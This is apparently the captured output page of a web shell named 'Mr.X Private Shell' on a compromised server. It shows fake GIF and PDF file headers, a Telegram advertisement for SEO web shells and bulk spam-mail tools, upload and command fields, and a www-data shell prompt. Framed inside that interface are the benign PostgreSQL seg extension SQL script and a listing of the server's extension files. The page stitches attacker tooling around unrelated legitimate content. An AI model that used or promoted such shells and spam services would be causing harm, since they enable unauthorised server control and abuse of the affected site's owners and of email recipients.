GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
/* contrib/seg/seg--1.1.sql */

-- complain if script is sourced in psql, rather than via CREATE EXTENSION
\echo Use "CREATE EXTENSION seg" to load this file. \quit

-- Create the user-defined type for 1-D floating point intervals (seg)

CREATE FUNCTION seg_in(cstring)
RETURNS seg
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

CREATE FUNCTION seg_out(seg)
RETURNS cstring
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

CREATE TYPE seg (
	INTERNALLENGTH = 12,
	INPUT = seg_in,
	OUTPUT = seg_out
);

COMMENT ON TYPE seg IS
'floating point interval ''FLOAT .. FLOAT'', ''.. FLOAT'', ''FLOAT ..'' or ''FLOAT''';

--
-- External C-functions for R-tree methods
--

-- Left/Right methods

CREATE FUNCTION seg_over_left(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_over_left(seg, seg) IS
'overlaps or is left of';

CREATE FUNCTION seg_over_right(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_over_right(seg, seg) IS
'overlaps or is right of';

CREATE FUNCTION seg_left(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_left(seg, seg) IS
'is left of';

CREATE FUNCTION seg_right(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_right(seg, seg) IS
'is right of';


-- Scalar comparison methods

CREATE FUNCTION seg_lt(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_lt(seg, seg) IS
'less than';

CREATE FUNCTION seg_le(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_le(seg, seg) IS
'less than or equal';

CREATE FUNCTION seg_gt(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_gt(seg, seg) IS
'greater than';

CREATE FUNCTION seg_ge(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_ge(seg, seg) IS
'greater than or equal';

CREATE FUNCTION seg_contains(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_contains(seg, seg) IS
'contains';

CREATE FUNCTION seg_contained(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_contained(seg, seg) IS
'contained in';

CREATE FUNCTION seg_overlap(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_overlap(seg, seg) IS
'overlaps';

CREATE FUNCTION seg_same(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_same(seg, seg) IS
'same as';

CREATE FUNCTION seg_different(seg, seg)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_different(seg, seg) IS
'different';

-- support routines for indexing

CREATE FUNCTION seg_cmp(seg, seg)
RETURNS int4
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

COMMENT ON FUNCTION seg_cmp(seg, seg) IS 'btree comparison function';

CREATE FUNCTION seg_union(seg, seg)
RETURNS seg
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

CREATE FUNCTION seg_inter(seg, seg)
RETURNS seg
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

CREATE FUNCTION seg_size(seg)
RETURNS float4
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

-- miscellaneous

CREATE FUNCTION seg_center(seg)
RETURNS float4
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

CREATE FUNCTION seg_upper(seg)
RETURNS float4
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;

CREATE FUNCTION seg_lower(seg)
RETURNS float4
AS 'MODULE_PATHNAME'
LANGUAGE C STRICT IMMUTABLE PARALLEL SAFE;


--
-- OPERATORS
--

CREATE OPERATOR < (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_lt,
	COMMUTATOR = '>',
	NEGATOR = '>=',
	RESTRICT = scalarltsel,
	JOIN = scalarltjoinsel
);

CREATE OPERATOR <= (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_le,
	COMMUTATOR = '>=',
	NEGATOR = '>',
	RESTRICT = scalarltsel,
	JOIN = scalarltjoinsel
);

CREATE OPERATOR > (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_gt,
	COMMUTATOR = '<',
	NEGATOR = '<=',
	RESTRICT = scalargtsel,
	JOIN = scalargtjoinsel
);

CREATE OPERATOR >= (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_ge,
	COMMUTATOR = '<=',
	NEGATOR = '<',
	RESTRICT = scalargtsel,
	JOIN = scalargtjoinsel
);

CREATE OPERATOR << (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_left,
	COMMUTATOR = '>>',
	RESTRICT = positionsel,
	JOIN = positionjoinsel
);

CREATE OPERATOR &< (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_over_left,
	RESTRICT = positionsel,
	JOIN = positionjoinsel
);

CREATE OPERATOR && (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_overlap,
	COMMUTATOR = '&&',
	RESTRICT = areasel,
	JOIN = areajoinsel
);

CREATE OPERATOR &> (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_over_right,
	RESTRICT = positionsel,
	JOIN = positionjoinsel
);

CREATE OPERATOR >> (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_right,
	COMMUTATOR = '<<',
	RESTRICT = positionsel,
	JOIN = positionjoinsel
);

CREATE OPERATOR = (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_same,
	COMMUTATOR = '=',
	NEGATOR = '<>',
	RESTRICT = eqsel,
	JOIN = eqjoinsel,
	MERGES
);

CREATE OPERATOR <> (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_different,
	COMMUTATOR = '<>',
	NEGATOR = '=',
	RESTRICT = neqsel,
	JOIN = neqjoinsel
);

CREATE OPERATOR @> (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_contains,
	COMMUTATOR = '<@',
	RESTRICT = contsel,
	JOIN = contjoinsel
);

CREATE OPERATOR <@ (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_contained,
	COMMUTATOR = '@>',
	RESTRICT = contsel,
	JOIN = contjoinsel
);

-- obsolete:
CREATE OPERATOR @ (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_contains,
	COMMUTATOR = '~',
	RESTRICT = contsel,
	JOIN = contjoinsel
);

CREATE OPERATOR ~ (
	LEFTARG = seg,
	RIGHTARG = seg,
	PROCEDURE = seg_contained,
	COMMUTATOR = '@',
	RESTRICT = contsel,
	JOIN = contjoinsel
);


-- define the GiST support methods
CREATE FUNCTION gseg_consistent(internal,seg,smallint,oid,internal)
RETURNS bool
AS 'MODULE_PATHNAME'
LANGUAGE C IMMUTABLE STRICT PARALLEL SAFE;

CREATE FUNCTION gseg_compress(internal)
RETURNS internal
AS 'MODULE_PATHNAME'
LANGUAGE C IMMUTABLE STRICT PARALLEL SAFE;

CREATE FUNCTION gseg_decompress(internal)
RETURNS internal
AS 'MODULE_PATHNAME'
LANGUAGE C IMMUTABLE STRICT PARALLEL SAFE;

CREATE FUNCTION gseg_penalty(internal,internal,internal)
RETURNS internal
AS 'MODULE_PATHNAME'
LANGUAGE C IMMUTABLE STRICT PARALLEL SAFE;

CREATE FUNCTION gseg_picksplit(internal, internal)
RETURNS internal
AS 'MODULE_PATHNAME'
LANGUAGE C IMMUTABLE STRICT PARALLEL SAFE;

CREATE FUNCTION gseg_union(internal, internal)
RETURNS seg
AS 'MODULE_PATHNAME'
LANGUAGE C IMMUTABLE STRICT PARALLEL SAFE;

CREATE FUNCTION gseg_same(seg, seg, internal)
RETURNS internal
AS 'MODULE_PATHNAME'
LANGUAGE C IMMUTABLE STRICT PARALLEL SAFE;


-- Create the operator classes for indexing

CREATE OPERATOR CLASS seg_ops
    DEFAULT FOR TYPE seg USING btree AS
        OPERATOR        1       < ,
        OPERATOR        2       <= ,
        OPERATOR        3       = ,
        OPERATOR        4       >= ,
        OPERATOR        5       > ,
        FUNCTION        1       seg_cmp(seg, seg);

CREATE OPERATOR CLASS gist_seg_ops
DEFAULT FOR TYPE seg USING gist
AS
	OPERATOR	1	<< ,
	OPERATOR	2	&< ,
	OPERATOR	3	&& ,
	OPERATOR	4	&> ,
	OPERATOR	5	>> ,
	OPERATOR	6	= ,
	OPERATOR	7	@> ,
	OPERATOR	8	<@ ,
	OPERATOR	13	@ ,
	OPERATOR	14	~ ,
	FUNCTION	1	gseg_consistent (internal, seg, smallint, oid, internal),
	FUNCTION	2	gseg_union (internal, internal),
	FUNCTION	3	gseg_compress (internal),
	FUNCTION	4	gseg_decompress (internal),
	FUNCTION	5	gseg_penalty (internal, internal, internal),
	FUNCTION	6	gseg_picksplit (internal, internal),
	FUNCTION	7	gseg_same (seg, seg, internal);

Filemanager

Name Type Size Permission Actions
adminpack--1.0--1.1.sql File 274 B 0644
adminpack--1.0.sql File 1.5 KB 0644
adminpack--1.1--2.0.sql File 1.64 KB 0644
adminpack--2.0--2.1.sql File 595 B 0644
adminpack.control File 176 B 0644
amcheck--1.0--1.1.sql File 931 B 0644
amcheck--1.0.sql File 704 B 0644
amcheck--1.1--1.2.sql File 705 B 0644
amcheck--1.2--1.3.sql File 852 B 0644
amcheck.control File 154 B 0644
autoinc--1.0.sql File 249 B 0644
autoinc.control File 149 B 0644
bloom--1.0.sql File 666 B 0644
bloom.control File 156 B 0644
btree_gin--1.0--1.1.sql File 1.34 KB 0644
btree_gin--1.0.sql File 24.24 KB 0644
btree_gin--1.1--1.2.sql File 1.41 KB 0644
btree_gin--1.2--1.3.sql File 4.46 KB 0644
btree_gin.control File 175 B 0644
btree_gist--1.0--1.1.sql File 3.65 KB 0644
btree_gist--1.1--1.2.sql File 4.93 KB 0644
btree_gist--1.2--1.3.sql File 1.91 KB 0644
btree_gist--1.2.sql File 40.15 KB 0644
btree_gist--1.3--1.4.sql File 1.89 KB 0644
btree_gist--1.4--1.5.sql File 1.83 KB 0644
btree_gist--1.5--1.6.sql File 13.1 KB 0644
btree_gist.control File 178 B 0644
citext--1.0--1.1.sql File 1 KB 0644
citext--1.1--1.2.sql File 3.34 KB 0644
citext--1.2--1.3.sql File 850 B 0644
citext--1.3--1.4.sql File 668 B 0644
citext--1.4--1.5.sql File 2.23 KB 0644
citext--1.4.sql File 13.15 KB 0644
citext--1.5--1.6.sql File 427 B 0644
citext.control File 173 B 0644
cube--1.0--1.1.sql File 1.56 KB 0644
cube--1.1--1.2.sql File 3.73 KB 0644
cube--1.2--1.3.sql File 365 B 0644
cube--1.2.sql File 9.53 KB 0644
cube--1.3--1.4.sql File 2.33 KB 0644
cube--1.4--1.5.sql File 591 B 0644
cube.control File 157 B 0644
dblink--1.0--1.1.sql File 419 B 0644
dblink--1.1--1.2.sql File 2.77 KB 0644
dblink--1.2.sql File 6.49 KB 0644
dblink.control File 170 B 0644
dict_int--1.0.sql File 711 B 0644
dict_int.control File 173 B 0644
dict_xsyn--1.0.sql File 694 B 0644
dict_xsyn.control File 179 B 0644
earthdistance--1.0--1.1.sql File 671 B 0644
earthdistance--1.1.sql File 3.16 KB 0644
earthdistance.control File 202 B 0644
file_fdw--1.0.sql File 475 B 0644
file_fdw.control File 155 B 0644
fuzzystrmatch--1.0--1.1.sql File 788 B 0644
fuzzystrmatch--1.1.sql File 1.54 KB 0644
fuzzystrmatch.control File 190 B 0644
hstore--1.1--1.2.sql File 1.6 KB 0644
hstore--1.2--1.3.sql File 525 B 0644
hstore--1.3--1.4.sql File 5.19 KB 0644
hstore--1.4--1.5.sql File 409 B 0644
hstore--1.4.sql File 13.44 KB 0644
hstore--1.5--1.6.sql File 455 B 0644
hstore--1.6--1.7.sql File 1.04 KB 0644
hstore--1.7--1.8.sql File 508 B 0644
hstore.control File 173 B 0644
insert_username--1.0.sql File 273 B 0644
insert_username.control File 170 B 0644
intagg--1.0--1.1.sql File 897 B 0644
intagg--1.1.sql File 1.06 KB 0644
intagg.control File 119 B 0644
intarray--1.0--1.1.sql File 1.75 KB 0644
intarray--1.1--1.2.sql File 5.4 KB 0644
intarray--1.2--1.3.sql File 663 B 0644
intarray--1.2.sql File 12 KB 0644
intarray--1.3--1.4.sql File 692 B 0644
intarray--1.4--1.5.sql File 282 B 0644
intarray.control File 191 B 0644
isn--1.0--1.1.sql File 12.04 KB 0644
isn--1.1--1.2.sql File 5.14 KB 0644
isn--1.1.sql File 68.25 KB 0644
isn.control File 175 B 0644
lo--1.0--1.1.sql File 223 B 0644
lo--1.1.sql File 722 B 0644
lo.control File 141 B 0644
ltree--1.0--1.1.sql File 6.19 KB 0644
ltree--1.1--1.2.sql File 5.09 KB 0644
ltree--1.1.sql File 18.92 KB 0644
ltree.control File 170 B 0644
moddatetime--1.0.sql File 261 B 0644
moddatetime.control File 165 B 0644
old_snapshot--1.0.sql File 549 B 0644
old_snapshot.control File 168 B 0644
pageinspect--1.0--1.1.sql File 560 B 0644
pageinspect--1.1--1.2.sql File 562 B 0644
pageinspect--1.2--1.3.sql File 1.9 KB 0644
pageinspect--1.3--1.4.sql File 2.51 KB 0644
pageinspect--1.4--1.5.sql File 1.32 KB 0644
pageinspect--1.5--1.6.sql File 2.2 KB 0644
pageinspect--1.5.sql File 6.12 KB 0644
pageinspect--1.6--1.7.sql File 698 B 0644
pageinspect--1.7--1.8.sql File 1.67 KB 0644
pageinspect--1.8--1.9.sql File 3.32 KB 0644
pageinspect.control File 173 B 0644
pg_buffercache--1.0--1.1.sql File 508 B 0644
pg_buffercache--1.1--1.2.sql File 271 B 0644
pg_buffercache--1.2--1.3.sql File 328 B 0644
pg_buffercache--1.2.sql File 794 B 0644
pg_buffercache.control File 157 B 0644
pg_freespacemap--1.0--1.1.sql File 335 B 0644
pg_freespacemap--1.1--1.2.sql File 377 B 0644
pg_freespacemap--1.1.sql File 899 B 0644
pg_freespacemap.control File 160 B 0644
pg_prewarm--1.0--1.1.sql File 281 B 0644
pg_prewarm--1.1--1.2.sql File 458 B 0644
pg_prewarm--1.1.sql File 475 B 0644
pg_prewarm.control File 139 B 0644
pg_stat_statements--1.0--1.1.sql File 1.22 KB 0644
pg_stat_statements--1.1--1.2.sql File 1.3 KB 0644
pg_stat_statements--1.2--1.3.sql File 1.42 KB 0644
pg_stat_statements--1.3--1.4.sql File 345 B 0644
pg_stat_statements--1.4--1.5.sql File 305 B 0644
pg_stat_statements--1.4.sql File 1.39 KB 0644
pg_stat_statements--1.5--1.6.sql File 376 B 0644
pg_stat_statements--1.6--1.7.sql File 806 B 0644
pg_stat_statements--1.7--1.8.sql File 1.7 KB 0644
pg_stat_statements--1.8--1.9.sql File 2.08 KB 0644
pg_stat_statements.control File 204 B 0644
pg_surgery--1.0.sql File 608 B 0644
pg_surgery.control File 168 B 0644
pg_trgm--1.0--1.1.sql File 536 B 0644
pg_trgm--1.1--1.2.sql File 2.14 KB 0644
pg_trgm--1.2--1.3.sql File 3.42 KB 0644
pg_trgm--1.3--1.4.sql File 2 KB 0644
pg_trgm--1.3.sql File 7.76 KB 0644
pg_trgm--1.4--1.5.sql File 858 B 0644
pg_trgm--1.5--1.6.sql File 418 B 0644
pg_trgm.control File 192 B 0644
pg_visibility--1.0--1.1.sql File 883 B 0644
pg_visibility--1.1--1.2.sql File 833 B 0644
pg_visibility--1.1.sql File 2.76 KB 0644
pg_visibility.control File 186 B 0644
pgcrypto--1.0--1.1.sql File 307 B 0644
pgcrypto--1.1--1.2.sql File 483 B 0644
pgcrypto--1.2--1.3.sql File 2.29 KB 0644
pgcrypto--1.3.sql File 5.57 KB 0644
pgcrypto.control File 152 B 0644
pgrowlocks--1.0--1.1.sql File 651 B 0644
pgrowlocks--1.1--1.2.sql File 253 B 0644
pgrowlocks--1.2.sql File 555 B 0644
pgrowlocks.control File 152 B 0644
pgstattuple--1.0--1.1.sql File 400 B 0644
pgstattuple--1.1--1.2.sql File 1.4 KB 0644
pgstattuple--1.2--1.3.sql File 1.1 KB 0644
pgstattuple--1.3--1.4.sql File 623 B 0644
pgstattuple--1.4--1.5.sql File 5.38 KB 0644
pgstattuple--1.4.sql File 3.68 KB 0644
pgstattuple.control File 147 B 0644
plpgsql--1.0.sql File 658 B 0644
plpgsql.control File 193 B 0644
postgres_fdw--1.0--1.1.sql File 626 B 0644
postgres_fdw--1.0.sql File 507 B 0644
postgres_fdw.control File 172 B 0644
refint--1.0.sql File 343 B 0644
refint.control File 169 B 0644
seg--1.0--1.1.sql File 2.93 KB 0644
seg--1.1--1.2.sql File 360 B 0644
seg--1.1.sql File 7.95 KB 0644
seg--1.2--1.3.sql File 2.29 KB 0644
seg--1.3--1.4.sql File 259 B 0644
seg.control File 187 B 0644
sslinfo--1.0--1.1.sql File 375 B 0644
sslinfo--1.1--1.2.sql File 746 B 0644
sslinfo--1.2.sql File 1.5 KB 0644
sslinfo.control File 146 B 0644
tablefunc--1.0.sql File 2.1 KB 0644
tablefunc.control File 189 B 0644
tcn--1.0.sql File 274 B 0644
tcn.control File 149 B 0644
tsm_system_rows--1.0.sql File 327 B 0644
tsm_system_rows.control File 201 B 0644
tsm_system_time--1.0.sql File 327 B 0644
tsm_system_time.control File 207 B 0644
unaccent--1.0--1.1.sql File 445 B 0644
unaccent--1.1.sql File 910 B 0644
unaccent.control File 172 B 0644
uuid-ossp--1.0--1.1.sql File 688 B 0644
uuid-ossp--1.1.sql File 1.48 KB 0644
uuid-ossp.control File 178 B 0644
xml2--1.0--1.1.sql File 944 B 0644
xml2--1.1.sql File 2 KB 0644
xml2.control File 182 B 0644